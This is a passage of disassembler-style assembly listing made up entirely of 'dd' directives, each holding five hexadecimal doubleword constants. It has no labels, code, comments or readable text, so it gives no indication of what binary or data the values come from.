		dd 1BA1AD0h, 3CA2E740h,	0EAAD8400h, 19B8360Bh, 0BF4D00F8h
		dd 75882B2Eh, 0E072BBC1h, 0E2060E1Fh, 0C75D7DC0h, 4D8D544h
		dd 2269345Bh, 555080EFh, 0E90570AAh, 0B36B5342h, 0BC5BC000h
		dd 0DD3AE4h, 4C5F48C7h,	2E0147B4h, 2800DFE8h, 3F856FB7h
		dd 68B337h, 0F7D6884Fh,	0F251719Ch, 6FC6B07h, 0D46098DAh
		dd 902569D2h, 639C0FA0h, 0C407594h, 0BCF80F58h,	0E6E12205h
		dd 0F20734C2h, 9D20F119h, 1DD08D6h, 3A31B03Eh, 0FC9381F3h
		dd 0BB3849C5h, 3FC403A6h, 0A4B09615h, 0DA5B4480h, 751380E0h
		dd 68AEAA16h, 0AF1E1CC1h, 1EFB89FCh, 8F2FC366h,	6EA5227Ch
		dd 0E460D390h, 0AF984EF0h, 1FBDF43Eh, 619243E9h, 4D6CF440h
		dd 0DA2B88h, 69BAEDA0h,	0A34CA197h, 5804B824h, 0FBB6F980h
		dd 0B16A528h, 9DE9EF0Ch, 202344C0h, 6CF7AA00h, 1573BC5Ch
		dd 27E500E1h, 0D39094D2h, 0C10032E8h, 0D15AEC98h, 1FAA68Fh
		dd 85F807D9h, 71B010DDh, 1F8141Ah, 56D580B9h, 0CCF6E9F9h
		dd 88008658h, 62A8B374h, 996603h, 0C240F155h, 5F3844E6h
		dd 43A54502h, 68113071h, 677A5548h, 71A320CBh, 0FC79DBFDh
		dd 7B03E978h, 42F392E1h, 0AE590080h, 55043660h,	48C3A68Ah
		dd 0C837642Bh, 903CF9CDh, 1D6E00B8h, 0C7E710AFh, 14B5832h
		dd 69E08C41h, 2FE090BEh, 216D00FBh, 7DB71360h, 0AE009FC5h
		dd 1F12D1B6h, 0E39457h,	6E1685D7h, 0D2412544h, 152A7700h
		dd 698C2ED5h, 5A6700FFh, 24640474h, 52E45C6Dh, 0EA02CC07h
		dd 6B10342Dh, 0D57FC0h,	3FE0C9C3h, 6328CA5Fh, 0FEDAD41Dh
		dd 6DB97E40h, 8103AFh, 0CFEC7631h, 0E61C4562h, 0BF997700h
		dd 7467BA4h, 0C217DB4h,	0DAA3156Ch, 0E1393B60h,	3E18F583h
		dd 8B083D9Ah, 0DE6E1A87h, 0B340129Dh, 1D041A40h, 8143C7C0h
		dd 17E6D1C0h, 12DA1CC4h, 429180EEh, 0E20BA934h,	514D4300h
		dd 33C536D4h, 148F17F4h, 0E08CC202h, 0BCF91460h, 831D20EEh
		dd 1B877A38h, 8BF071B5h, 1BF1915h, 0EA2E8A90h, 601EAAD0h
		dd 6D001428h, 1106C9E0h, 49CCEDC1h, 40254454h, 832A3410h
		dd 0A800745Bh, 46CFD423h, 84D31218h, 59880068h,	600F6B01h
		dd 0DDF48600h, 9A70C81Ah, 88E6CFh, 5BB9429Fh, 0A608D25Eh
		dd 0EF96D00h, 0F3208346h, 671724C9h, 0B0003A9Ch, 5ECB8A80h
		dd 9AC0081Bh, 52C873E4h, 64A500DDh, 91BA7E55h, 9D00F018h
		dd 3F24D1F7h, 1D3A11A0h, 0C01DF231h, 0DCFAED53h, 90F0E397h
		dd 0F063CE1Fh, 169100FEh, 701F4A87h, 3E5B0585h,	902F6E02h
		dd 92D1C2DCh, 0AED3A700h, 7A1EBF37h, 6674005Eh,	9A40ABD9h
		dd 0C500F2D6h, 1A7BA595h, 1B7C750h, 240AA369h, 0EC7D3EF3h
		dd 0A50273CBh, 67964D18h, 7638E008h, 335B1D61h,	78D500F2h
		dd 0DC97A152h, 6870BF5Bh, 4A6A1475h, 0CACC219Bh, 0FDDC401Eh
		dd 241D9C42h, 3EC02275h, 4E1C8153h, 0EEC606B3h,	117906CFh
		dd 0B6ABA204h, 9D80CA5Ah, 72AD5014h, 7A31D64h, 0C0646Dh
		dd 19967078h, 0D496F07Bh, 6C8B4800h, 3C7F24h, 0BB2AF1F2h
		dd 0A3F8D850h, 78A087E9h, 0E01FF5F4h, 625A8B9Ch, 0CC0C1D8Fh
		dd 9182C080h, 406A7494h, 0E43C0402h, 0E09ECB3Dh, 1319D94h
		dd 19A1A520h, 0F85F7A73h, 3B09AF5Eh, 80A053D5h,	779B0C90h
		dd 0C5131FB2h, 821A83A9h, 0EF889F5Bh, 0F9A0A03Ah, 6D04C0EEh
		dd 0D365C41h, 83C30A80h, 0DFD10BE1h, 4001632Dh,	0DC712817h
		dd 4701D089h, 0FF3D4293h, 67F14F4Dh, 2EC5D4h, 0D9A25D88h
		dd 89A9F8CFh, 5DE9507h,	5E200F7Ch, 281810h, 0FF64FD84h
		dd 3CF20458h, 9608CB00h, 889929CAh, 5BFC3FDAh, 92F0F304h
		dd 0A298904Ch, 0CD90F170h, 5D808C9Ch, 0FAC694BEh, 0F560008Bh
		dd 0C065D136h, 0B1F45B86h, 4998E01Ch, 0D005AB00h, 37B9D1Eh
		dd 0F7C55228h, 282B6ACh, 1162040h, 5CEA10FBh, 4105DF6h
		dd 0AC4F6500h, 46C2790Eh, 7F00F27Eh, 0CC728775h, 0E818D40h
		dd 0A1CAF868h, 0FB7B9400h, 9F001B7Fh, 0B671CD13h, 1E304A32h
		dd 80EF8021h, 58BE3C29h, 797D36D2h, 0EC41434Bh,	9855FD6Dh
		dd 0FA6445D0h, 3DAF397Bh, 0A80F600Eh, 33418300h, 400C0647h
		dd 5C68933Bh, 0E92600B8h, 0DAB3734Ah, 4BCBB20h,	1E72160h
		dd 7A1F16E3h, 2CF8051Eh, 2EC8D0C8h, 17076220h, 970868ECh
		dd 0AC74DF60h, 0FA0E00A6h, 77763036h, 0C0E1AAADh, 81EE26C1h
		dd 0DDA5300h, 8F39D99Bh, 0D2A80018h, 0B2A99CA6h, 7F30BE8Dh
		dd 594861DDh, 0DED400F6h, 0ACF4CA13h, 7AF8277Eh, 0A0D3CD01h
		dd 11A4077Bh, 5F421840h, 71F4A9F6h, 3A5B3DE8h, 772C576Ch
		dd 6C40798h, 2B8049E4h,	383FB66Ah, 0A6EBF350h, 817E4705h
		dd 8E00E830h, 0D531E0BEh, 0B3EF00C6h, 0F3D22D43h, 0CC3C80F2h
		dd 79570088h, 0BE1FAC73h, 0B99A30F4h, 0D1D21D99h, 89F2B0CCh
		dd 98F43DC2h, 0F35C54h,	442EB982h, 10A58F3Dh, 0E600DD7Eh
		dd 33A2B0B6h, 3F1A54h, 370C6AB9h, 218EC4FEh, 0F1A8CF00h
		dd 4AB4ECE5h, 53D9003Fh, 6D333CC3h, 64032761h, 0B26C692h
		dd 0B9B7898Fh, 556660h,	0B0FB834Bh, 0CB910A67h,	8B7FEF00h
		dd 0D21C7717h, 0A9F1605Fh, 0DC3898FDh, 0A6C8511Fh, 0F8D1FEC4h
		dd 0C0CB74E4h, 0F042C1C0h, 72009D4Eh, 0DA07DDF9h, 0E60C5354h
		dd 0FD8906C4h, 5062FF3Ah, 0FC13CA18h, 7662941h,	0C3B9BED0h
		dd 0B01867AAh, 0FF87ABECh, 5AC57E00h, 8110A784h, 3894B085h
		dd 0CA0C4B49h, 6779DCE3h, 3ACBC800h, 0E8FA460Dh, 0EB7A35h
		dd 3175A1E1h, 23A72F0Ch, 0F1F2900h, 26E7E207h, 102D00B1h
		dd 61DD1E4h, 2418E0D3h,	62F1FA5Eh, 0CDB6005Fh, 2D089429h
		dd 2B0E56A5h, 202F7FD8h, 0A71CA497h, 0EA510C3Ch, 0C889C01Ah
		dd 2D12F72Ch, 0D5E49000h, 0F4539Bh, 2991873Ch, 57CE9364h
		dd 72D34707h, 0A8DCAA38h, 0C9418AEh, 4B2A787Dh,	0AC65C518h
		dd 0E3D631Ah, 121DB566h, 0AA96F720h, 44F6C71Ah,	5C80B90Ch
		dd 25B1F9h, 0C62AAE0Fh,	3062AD3Ah, 0CD017BE6h, 0E6D799BDh
		dd 66D8741Dh, 907D4C29h, 60753859h, 492F41EFh, 0E801B180h
		dd 0EA1C50F9h, 0D0503F19h, 0B462CEh, 0F75914D0h, 22DF8F66h
		dd 2E0021E4h, 0F46301CFh, 0AF6965Ch, 0C613B761h, 766D07EAh
		dd 0D84DE00Eh, 5C005740h, 824AEE1h, 0B59989h, 52FDCFFCh
		dd 7DF4A5Eh, 0BB000DB0h, 6FCBC214h, 32316Bh, 8FD18EBCh
		dd 5697126Dh, 2411CC00h, 5F915DD8h, 0A007013Eh,	6C0BE78h
		dd 0AFC0F34Ch, 400329Ch, 0D615F71Dh, 862E76h, 0B38C524Dh
		dd 33AA23B6h, 0C96E200h, 44A15EFCh, 0A9163F53h,	31261Ch
		dd 784333BBh, 0B10038E6h, 69E22852h, 57BA3Eh, 2DC61FCAh
		dd 0F5CA068h, 7DB9E600h, 93F11650h, 0FAD0CAF5h,	0DC5504h
		dd 0FC417E62h, 91342F89h, 0A82CF452h, 0D22308Bh, 7FCF7D10h
		dd 2CF25100h, 0E2E5C3BAh, 88F9003Ah, 0CB8B5B60h, 0FA1E8705h
		dd 29B13C7Ch, 417C29Eh,	42D74881h, 92244554h, 11AB5D21h
		dd 1411DB03h, 10F61244h, 6F89A501h, 4744BD08h, 0C24944EAh
		dd 841BB044h, 5E169F10h, 9010CE21h, 0DF426788h,	21422411h
		dd 5311A954h, 123711D8h, 0CF206612h, 1F44F8B1h,	815B581Ah
		dd 0BE7E9A61h, 7228EC89h, 0EF115305h, 8F8060E5h, 0E9ADEAh
		dd 0C583A9D8h, 0C63C3E7Dh, 0FDFCA20Fh, 0F36FC07Fh, 0EE75BDC1h
		dd 0B7210793h, 60512C3Ch, 3B9AFCE8h, 10AA1107h,	0FEC0E19Bh
		dd 1FBCBEh, 0C5B6D5A5h
		dd 0EEB76797h, 0B8A79900h, 45E6771Ah, 0AAB900ABh, 0E2486535h
		dd 0E1E61E6Ch, 6EBAF626h, 0C0502E39h, 0DABBB000h, 0FA7ADB7Eh
		dd 0F3A50F08h, 827FAAC5h, 277F649Eh, 247467E1h,	0B01D818h
		dd 93DD70FCh, 50827E05h, 0B77B3D4Ah, 8BC008E2h,	0D8002AA4h
		dd 0BD02B5A0h, 4CBABC9h, 0E75B20B6h, 0E374D18Fh, 0FAD180ADh
		dd 0BF1E5E7Bh, 167200D5h, 910D4243h, 0E6003B7Eh, 6F271335h
		dd 3C4F88F6h, 56609826h, 2ED32C78h, 2367EC00h, 155C47Fh
		dd 70CA0029h, 8E9140CDh, 4500E11Ch, 6104C37Ch, 0C0BB68EFh
		dd 763146B0h, 0BD00FFB4h, 1327D2F5h, 774912h, 0CDC54C6Bh
		dd 386CE74Fh, 514E9F00h, 62E37ACCh, 0F4DD005Eh,	17D5BB16h
		dd 3D7D2BABh, 3CB3D200h, 5627B21Ch, 6BF1076Ah, 0BF844223h
		dd 0C0834740h, 97057DEBh, 0F4323ACDh, 0BAF8000h, 17FAEA92h
		dd 7E7B44h, 645E1F3Ch, 1200C8D8h, 858F72B2h, 3B909B83h
		dd 3883CDCAh, 0DECEA28Eh, 7665CC8h, 9C285F1Eh, 0E1500D42h
		dd 332040BFh, 3774DFh, 0FD7E24FCh, 0D9175B38h, 0A62F3Bh
		dd 86DADBBBh, 7847E595h, 7E180092h, 6F1F02F5h, 0C10F33B3h
		dd 8180F191h, 375E3DC9h, 9F4DFCCCh, 87260150h, 0BA803CD1h
		dd 0A2DDE9Eh, 7377FBh, 0A1B92288h, 970471E6h, 0B13D3600h
		dd 8CC7CB44h, 85F2052Ah, 801AD887h, 3A570C76h, 0EF45E900h
		dd 37190A59h, 589D0797h, 804A7D47h, 262B20D4h, 7CFEBB00h
		dd 62DFDBAEh, 0B9E00FBh, 6B589871h, 4405CC8Eh, 7BC36CEAh
		dd 0DED0F3C0h, 0A168028Ah, 0C5C13BBAh, 0EC171541h, 0B80793A9h
		dd 20EDDF6Bh, 28EF0630h, 2D581D54h, 8E8B406Eh, 9FFFF47Bh
		dd 6FA56104h, 8CC0F615h, 1F3F3168h, 0C0FCA1C6h,	0CEC8E279h
		dd 8804D592h, 1B4FF313h, 201F7B0h, 0D4B46BB0h, 1068B7CCh
		dd 0F501A061h, 0CB69B34Bh, 1FD4210Dh, 0AC194C1Dh, 9DC30303h
		dd 0F0C8A2D9h, 0B57873ABh, 2EC6F00h, 0A4033D3Fh, 13B200D2h
		dd 95557BC8h, 1B0094F1h, 28C37ED9h, 1E21B606h, 8199D5A6h
		dd 0A74E6DEFh, 456920D3h, 0C315F200h, 7ACA2E5Ah, 0EBF000C9h
		dd 29188237h, 0AC4EB5A1h, 0FA0112F8h, 5DB8C467h, 0E39FEC52h
		dd 2C533639h, 648014ECh, 8A78B940h, 0BDB31D61h,	0B0D3DE82h
		dd 0DEE6DC22h, 28BC6300h, 531C1281h, 6CF90625h,	68B170AEh
		dd 0E926CD73h, 0F4041455h, 3CC01DBBh, 0B4A6F9h,	4777D463h
		dd 0F06CCD24h, 0BECA2230h, 906E6899h, 21723AF8h, 183A718Ch
		dd 507B0538h, 3DCBA103h, 0D8DCF6CDh, 6CC4DBDh, 0E853315Ch
		dd 8600B918h, 23AB7D04h, 12874ADEh, 0E68305h, 518EC184h
		dd 0BB002770h, 41D3B7Fh, 4FE9C3h, 293D6495h, 0C8582FBh
		dd 5BB52006h, 670DD0Eh,	319E507h, 0A500117Dh, 0BEC76E98h
		dd 0CE0BB7h, 6C87F7D2h,	0C3E33E9Ch, 6931AE00h, 0B313F680h
		dd 3F6A0FEBh, 26C1392Ah, 345E675Bh, 5D3A63ACh, 2DB8E2DEh
		dd 0CC44ACh, 0B3053645h, 1019AE9Ah, 0D978D000h,	28464A0h
		dd 9C12001Eh, 0BF0871C0h, 0D0049B5h, 0EDFC67E5h, 50AA574Ah
		dd 6CE63Ah, 0BA8E620h, 0A332A090h, 88FE3030h, 1FD2D634h
		dd 47B119B7h, 0F17A0945h, 0D8464EF6h, 8D0FD1C8h, 183EEh
		dd 0FD3F48E8h, 9EC4000Fh, 17A7E594h, 410FF97Fh,	20CD8FD9h
		dd 29664FC5h, 0ADD8C057h, 0E70D0CACh, 0C2A7F800h, 1D794815h
		dd 0B4500D4h, 0E34D966Ah, 3400BE93h, 38A3AADEh,	0EFF316h
		dd 0A5DB4F7Eh, 0B372A6AFh, 5A2E800h, 73B17D0Fh,	1A51026Ch
		dd 272CB017h, 604908C1h, 393C7915h, 12840054h, 2CC84E47h
		dd 112A1F5Eh, 0DCDE80B5h, 3F93C126h, 0B8BF3Dh, 0A2D76380h
		dd 0FEBDFA70h, 430500A8h, 0CC9C7FAEh, 2500F8C5h, 94115CF5h
		dd 1FB1DC58h, 3E68A2h, 0AC562207h, 0C000A35Ah, 29DA8878h
		dd 8FF36Eh, 0D8E1182Fh,	0C438B10Ah, 52A88000h, 1EE362CFh
		dd 912C07C5h, 907B761Ch, 354AC117h, 54B6F900h, 0EB7CC3E1h
		dd 1D560065h, 8FACCBB4h, 0F900B073h, 0F063A70h,	0DB08DFh
		dd 51F6ED92h, 0CBBDD49Dh, 4400DCE8h, 158C7760h,	0EB6480h
		dd 9AD39BEh, 0C058F906h, 4032675h, 52FF966Eh, 0BD28B07Ch
		dd 606C2C95h, 1182C7Bh,	679C1739h, 0FDD9E886h, 6F3FB700h
		dd 9FC4669Dh, 0FB97005Eh, 0D3DFB9F6h, 2E017E63h, 0B1B54DF1h
		dd 0D8D459D9h, 6D3701ADh, 26577BDFh, 5E9B7030h,	554CBF7Eh
		dd 739301A4h, 0FCE08294h, 0B1BB24C8h, 0D4A00C8h, 3E235D39h
		dd 0B617A102h, 60011E5Bh, 7D61021Ah, 0BBB900AAh, 5A3C7374h
		dd 4300F3B1h, 4B6501FBh, 1FF013D2h, 44906132h, 0C0CC9419h
		dd 4240E6D0h, 7F841600h, 272F57B5h, 0DEF0BFh, 736EA7D9h
		dd 8CF23B22h, 1E7D607h,	46A04FA2h, 1E822A78h, 0F9981250h
		dd 0DDCC8700h, 0A96EB4BDh, 0AF008170h, 0F43F9EC1h, 0D21809h
		dd 0EF7A7276h, 0FB831CCBh, 120A13Ah, 827E22E9h,	7070CC97h
		dd 1C2F00F8h, 806E44D5h, 8D0050FFh, 37030943h, 0A2C220h
		dd 0C32FE61Ah, 5BD6A3E3h, 33001B7Fh, 6283BE73h,	989FC156h
		dd 908100CAh, 19FF0C3Ch, 0D90031E8h, 37FD805h, 7144ADAh
		dd 3EDBF25Dh, 72AD809Eh, 3201474Ch, 924DB62Ah, 0F9E042D0h
		dd 901B1F2Eh, 188A0022h, 6C348F46h, 522612E6h, 123A1B31h
		dd 0E80455F6h, 909405h,	4C0ADEE0h, 46002483h, 0F7C36DE9h
		dd 0E500B5A9h, 293C5BDBh, 2601B91h, 0A186FB01h,	5F0340h
		dd 936B7A4Fh, 51DD099Bh, 0E801B420h, 643059E9h,	5C981A7Ch
		dd 0C8F9DB13h, 71670200h, 79B9B809h, 0BCB018h, 0A42CD472h
		dd 0FDCB5393h, 0BE30FA00h, 2580648Ch, 7F713ECEh, 42D6EC00h
		dd 5BFCE5A5h, 1B892C03h, 0C1CCE90Dh, 48C928A6h,	1C501ECCh
		dd 84068840h, 0B0FE0839h, 6B00478Ch, 0B5CB849Eh, 26BDE4D7h
		dd 80D87C1Eh, 0C83F0576h, 9A0089EDh, 351CD10Bh,	5EBF52B7h
		dd 51A0A043h, 8F7938h, 758D0F0Dh, 0B3B5CEh, 0E1214E03h
		dd 3DCA5565h, 6162FE00h, 4BEFA3C0h, 0C2A80367h,	56B5347Ch
		dd 7E902002h, 50E6FA45h, 0D42D00E8h, 0B0BD2BE7h, 4E01E30Fh
		dd 571B1C67h, 6BCC0A4Ah, 818B2C43h, 0F831007Ch,	63E1E5F3h
		dd 933AD200h, 442AC548h, 50CB58DBh, 6D153607h, 0E2A020AFh
		dd 0D200068Ah, 0D4CA9CE7h, 3D9A88CDh, 7008BC7h,	90DCF318h
		dd 0E17D6E12h, 1CA07800h, 0E37F4215h, 0A57A012Dh, 0D8E8A96h
		dd 606465F9h, 0DD17EA7Fh, 7A01E8A6h, 2C72AE2Dh,	6F34D8C3h
		dd 7CFF707Ah, 0F4923FB8h, 40F07600h, 863937FBh,	1EC4DC05h
		dd 0A8C01FE6h, 2EE8D6C9h, 9C216Eh, 89FD64A4h, 711CABDEh
		dd 98C1A0EBh, 1F7D0E3Ah, 79560860h, 0ED793A5Ah,	45B72002h
		dd 0CC003D5h, 0CE00D635h, 929FB94Bh, 81B3FFh, 878C5CFh
		dd 758C8520h, 0C3663Dh,	58176DD8h, 0CC0C5Bh, 725E81C9h
		dd 0A5E87302h, 0C425882Ch, 0DC033490h, 6DF2324h, 18C02AF2h
		dd 4300A1F3h, 0E6FFCC7Dh, 1328A96Bh, 0DD1496h, 537C3718h
		dd 55005826h, 1CA46350h, 78867DCEh, 2895003Eh, 0EBF76439h
		dd 5B4830F8h, 0D4C5003Ch, 207F37BAh, 404B00A7h,	0A986B171h
		dd 3338CDADh, 1BA5006Eh, 0D169FC41h, 0BAA30080h, 87E6C73Dh
		dd 1A3C505Fh, 0D0AB80FDh, 0D416F15Ah, 12C090B5h, 0D071A629h
		dd 0D7B3F608h, 0B100B0E2h, 4E2B72Bh, 0BB2804Ch,	424A7390h
		dd 6CC09C80h, 7400CCC4h, 9779868Bh, 0ABD146h, 9C25A6FDh
		dd 4CFF76CDh, 0AD292A00h, 8CD98F43h, 3DD80040h,	0C2DF6261h
		dd 41700298h, 26BE3Fh
		dd 5623BC03h, 0C119B4h,	80C972C0h, 0F6C25540h, 7BD26800h
		dd 7024D728h, 9E01002Eh, 599FF3C1h, 1E2487DDh, 0A0023C08h
		dd 406E1A5Eh, 0A1D75Fh,	19A6C2DAh, 0BA6891ECh, 67512C00h
		dd 0CB69299Eh, 3C8C0033h, 0F2AF79C4h, 1800E932h, 0C03B83B0h
		dd 122625FDh, 217F77Bh,	81D8983Ch, 0F1890Ch, 45905F1Dh
		dd 0AE058460h, 0D900E3F8h, 35BCA7A5h, 4F650F6Fh, 54B801F1h
		dd 309D2D3Ch, 0B74ECA30h, 90FC8007h, 5FAF9470h,	788B0BBh
		dd 0C44D01ECh, 0B1409134h, 0F4CC31ADh, 2E075908h, 0F0296DF4h
		dd 25CE65F0h, 4E5F001Ah, 0FB2350Eh, 0E17CDACFh,	71C9E003h
		dd 0E04F0442h, 2EDE8A2Bh, 1CF203h, 0A3CF9BD8h, 16008436h
		dd 0FF05AE02h, 0BBBD66h, 0B131ED69h, 58B26DE4h,	6FD64900h
		dd 7929CA48h, 0EAAD004Fh, 2AA631F1h, 0C73D1AB0h, 5B9E03A4h
		dd 0A0BDE48h, 0D619E0E8h, 96810EBCh, 66901A60h,	5E000158h
		dd 166CFB2Bh, 673427h, 0A10608AFh, 0BBC04FCh, 0AC72CD28h
		dd 5C36201h, 0DAB03080h, 0A01437F4h, 1858C0h, 0DD6066CEh
		dd 45E678E2h, 798C2D00h, 29EBFFDh, 36831D4Fh, 1280805Dh
		dd 2A139CF1h, 30005E7Ch, 0A41ACF77h, 12E210Eh, 29668DD2h
		dd 0C6A7A62Ch, 0D41F70E0h, 3D047058h, 12D2C40Fh, 5868B9h
		dd 0E78265C0h, 0B20059CDh, 1A56A5B4h, 0F3A69708h, 64752080h
		dd 70EC4792h, 0F3991600h, 5E21DBC1h, 0C3B00008h, 0F480410h
		dd 7300ACF1h, 8A531E02h, 0B91546Ch, 7A08FD0h, 80E15100h
		dd 8424AC32h, 598FD0C4h, 902C5D89h, 558E6561h, 7B754BD0h
		dd 4C420026h, 0E852A434h, 0D854FBE7h, 16009290h, 0C3EAA254h
		dd 255C7FBDh, 90800AC2h, 0F3380F78h, 9B82E8C0h,	10BCD33h
		dd 0EE8CEB2Fh, 3CF43CB4h, 15CA13D8h, 1758FCC0h,	4F3B00BDh
		dd 0E50EFF8Eh, 0D400F4B5h, 0D928778Ch, 2D6B143h, 924F1A7Ch
		dd 0B281D0C8h, 702FBBABh, 0BA00C1CCh, 0F43C0BFh, 0B838F793h
		dd 0FB7D0358h, 9F9D66D1h, 8E1F701Fh, 2BA55500h,	3DB120E6h
		dd 0D8020D0Ch, 2393F708h, 0B03AAC70h, 5D958FB5h, 3681BC5Fh
		dd 0ECFBAFF2h, 0ADCC98CDh, 626900E9h, 755CF040h, 4F78437Fh
		dd 77463500h, 0DCC44C8Ah, 0A81300D8h, 6E264AB9h, 0DE1CF2BDh
		dd 50005123h, 2236940Ah, 34B1D14h, 0CC16C05Eh, 3FA8BBB0h
		dd 0FD00F7E6h, 0B5A19C76h, 5C4138Eh, 5D1045C6h,	96368208h
		dd 0C580A5E0h, 0EF29F60Dh, 0E5E5321Ah, 8B499840h, 9CBF0707h
		dd 495BB56Ch, 0E465F861h, 6673622Fh, 52EED360h,	3A609FF9h
		dd 9A00E549h, 855EB3DEh, 8A0025B5h, 0EE9BACF5h,	0DEF84BADh
		dd 98150060h, 5D7CFBD2h, 56B8F0ECh, 8CC6492Eh, 29511300h
		dd 76E8612h, 0D556AD1Fh, 94C760B0h, 1098CEE6h, 198E1800h
		dd 0BC657B01h, 37490089h, 5C27ADD8h, 4B6082Fh, 5C5DAC93h
		dd 8E2DAF84h, 10F14CE0h, 380B84C5h, 42F28090h, 0D245E386h
		dd 221F0011h, 700A39C9h, 58003610h, 21D85CAAh, 6E0B056h
		dd 44AB8C11h, 0D90040F0h, 3F3A6A3Dh, 752C96h, 0D637CD1Bh
		dd 8FC60E4Bh, 0C88D1600h, 5158E33h, 1AEC00ADh, 97DDD202h
		dd 190F3A7Dh, 0E09623BDh, 21320692h, 0F35E0087h, 31D93871h
		dd 5A098B9Bh, 0A0E27F7Eh, 4741DFD0h, 0EB6A009Ah, 2A71682Ch
		dd 99009B4Dh, 0E3D338C9h, 148FF20h, 0DF21EB70h,	0FCC7189Dh
		dd 6F00B573h, 52772F6Eh, 38A8EC2Ch, 3E243FBEh, 30038940h
		dd 2400C409h, 0F02749C8h, 0B8097001h, 8EB4C50Fh, 13F06C75h
		dd 2BA20050h, 0E7043081h, 0B17BBDB5h, 3A9D1F00h, 0D585FCDFh
		dd 89800049h, 3DD4690Bh, 907F1487h, 0D69D8400h,	7A6A4468h
		dd 0C37DF3h, 8650D4A7h,	0E0CBC992h, 0F512F190h,	0B7005B20h
		dd 6840E83h, 4A9D2693h,	1EC29210h, 0BBB30094h, 0EE6A958Ah
		dd 8000A87Dh, 0C839FC10h, 575B80Eh, 2B275B4Ch, 0A96481D0h
		dd 6188ECDh, 8003624h, 0B5CEA1B9h, 7D1900DFh, 0ADA2B142h
		dd 33241721h, 0BF17B4C4h, 12C0601Fh, 463E340Fh,	9FDE034Dh
		dd 0AC57B55Dh, 210B90F3h, 0FEBD448h, 1A93272Dh,	25F4DE23h
		dd 20900AB0h, 0B1266741h, 0CB4044D5h, 5E5EA7D1h, 6E20003Ch
		dd 6D398E3h, 0CED04507h, 0AD0162CCh, 0A2F42FDAh, 50FF16BCh
		dd 2683ACD1h, 88005838h, 0FC970B51h, 0A56017DDh, 1C81F61h
		dd 2ABF644Bh, 375130FBh, 8C57B82Eh, 976A4F00h, 0B344B36h
		dd 719C5E68h, 3717A080h, 957EBAF1h, 0D9017803h,	88A9B02Fh
		dd 0E5790Dh, 43094EA4h,	4619C85Bh, 98813100h, 39F0B9CFh
		dd 1229F8CBh, 87019Ch, 0AE161E53h, 0EB0015B5h, 3D86D05Dh
		dd 1C0C27B3h, 80B11FF0h, 0EE0AD3DCh, 9700D7AAh,	2C7D4923h
		dd 0FAB3F5h, 0F1AD6BBDh, 0EB2A2118h, 3000F0FCh,	4EF33352h
		dd 9ACF455h, 9D67E40Dh,	6007B858h, 0A1C6A620h, 0C0068F5Fh
		dd 0BB357EA5h, 5F4B1FFEh, 0B37180F4h, 0AA367333h, 0DE45900h
		dd 3B3170A8h, 4F8816FEh, 0A06000A7h, 0A14495B1h, 0E2C354Ch
		dd 87E36113h, 0BBA7B26Fh, 48DA1900h, 0BF8400B9h, 6940E722h
		dd 0A216FC0Bh, 7045D3F2h, 0E4C01BF1h, 5CF7D7h, 62A0163Eh
		dd 887E6B81h, 40EEC62Ch, 0F958DC00h, 31E3DC9h, 1A96BD07h
		dd 72B03157h, 2C00B310h, 0D75BC2F2h, 47B5A7h, 50FB5CC7h
		dd 0AC60B9FDh, 0CA5E1EEEh, 28376901h, 108075E2h, 848812C7h
		dd 517DBA2Fh, 4A0242Fh,	14A1B390h, 73FCF4h, 0FF92C2AAh
		dd 0B9D419A9h, 3B44DF49h, 98B58010h, 0E1151B47h, 6D860045h
		dd 0C72AA058h, 0AD3CCDC5h, 0B0C0012h, 6CD1FC5Fh, 0DC815D80h
		dd 9039E300h, 45465717h, 51DB7902h, 4014FCB8h, 2FA30h
		dd 8B1240DDh, 3D4A9C2Ah, 0A100AC70h, 9262425Eh,	76FD3B1h
		dd 41DC1E59h, 136D9017h, 370816Eh, 955C1601h, 0EDFB8B58h
		dd 0E700B47Ch, 0A7DA0D44h, 0E800EB34h, 3D738F52h, 0F299375h
		dd 0C4B24E7Eh, 1C547DA0h, 9C4CBA71h, 46070BA8h,	0E3F0800Ah
		dd 7BEFB2Fh, 0FC33B504h, 2B951040h, 60000999h, 4D68800Bh
		dd 0AF1405h, 964A1BF4h,	0DBA6D713h, 0E094810Ah,	7809E7F1h
		dd 8BA887B7h, 5105CA60h, 0DED20164h, 40F0A62Fh,	0B45AC080h
		dd 0E3849800h, 0CCB5200Dh, 72242413h, 49DA001Ch, 34B890F7h
		dd 0FA9B8E1Ch, 75264Bh,	40EEB0E0h, 0D1192C1Fh, 22A00425h
		dd 4138928Bh, 7B9886E3h, 0A4B6FB57h, 0C3BD5000h, 74937BFh
		dd 74EFF5AAh, 0B7627065h, 0A104C2E4h, 7924A6F2h, 7FBE1A81h
		dd 4A09C74h, 0EE6B67AAh, 0D95CF07Bh, 5170700h, 844E4D74h
		dd 60880057h, 22F289BAh, 0D07D6372h, 136C7E00h,	8B78EFA3h
		dd 0DAEA14h, 9B981911h,	0E627C587h, 9C8F1800h, 0D4DD384Bh
		dd 0EF070116h, 0B1B534F7h, 0FA06204Ch, 547FD50Fh, 89C0FE02h
		dd 4DED3B72h, 9C23E2F1h, 9A0DC24Ch, 0C43D8850h,	0E1828021h
		dd 15538D23h, 0ED4B008Bh, 3EE2AEA8h, 610005EAh,	2DC3DF5Dh
		dd 4B46BB3h, 9C0DD2D6h,	5AC7C099h, 0BC134B05h, 7501B664h
		dd 0D9CC2B16h, 25FA5C74h, 0A80F2074h, 9846DB00h, 8CBD593h
		dd 0F3850797h, 99AE03CFh, 4FBCE049h, 8AA4BCB9h,	2494CDh
		dd 0E7EDB72h, 0CE8FE16h, 9B67A300h, 0C4BD887Dh,	7E3076Ah
		dd 370E634Ah, 1B46B0D5h, 99399ED7h, 0F19FB07Ah,	3B4E08h
		dd 2CF45779h, 0F7B37E2Dh, 0BAC51C01h, 9E3CB5FFh, 6024D48Ch
		dd 160A0868h, 68D8CC28h, 4C5EB588h, 0D75393B8h,	50DC8860h
		dd 550054F6h, 6B0FF585h, 3A4C8EECh, 600009CAh, 62389D5Bh
		dd 340031B2h, 3D0C8349h
		dd 0F112D0Dh, 9C6AD04Eh, 6B356C80h, 570FA444h, 808188A7h
		dd 76D1C159h, 0B95E008Eh, 9D19910Fh, 86502479h,	751F14E2h
		dd 1A1C04C9h, 0E53BA5C0h, 7A661B28h, 0A32D1F4Dh, 8082DE63h
		dd 56A79E4Ch, 5C005819h, 214D6F0Bh, 3B413501h, 8880203Fh
		dd 76E5BD62h, 74000433h, 7E9D618Ch, 0E2C87972h,	5357000Bh
		dd 58299B66h, 3A2FC1B7h, 0FA5407B3h, 2A836A00h,	5CFE0223h
		dd 0B518366Fh, 48014844h, 93052DF3h, 0F6F18257h, 81AD1980h
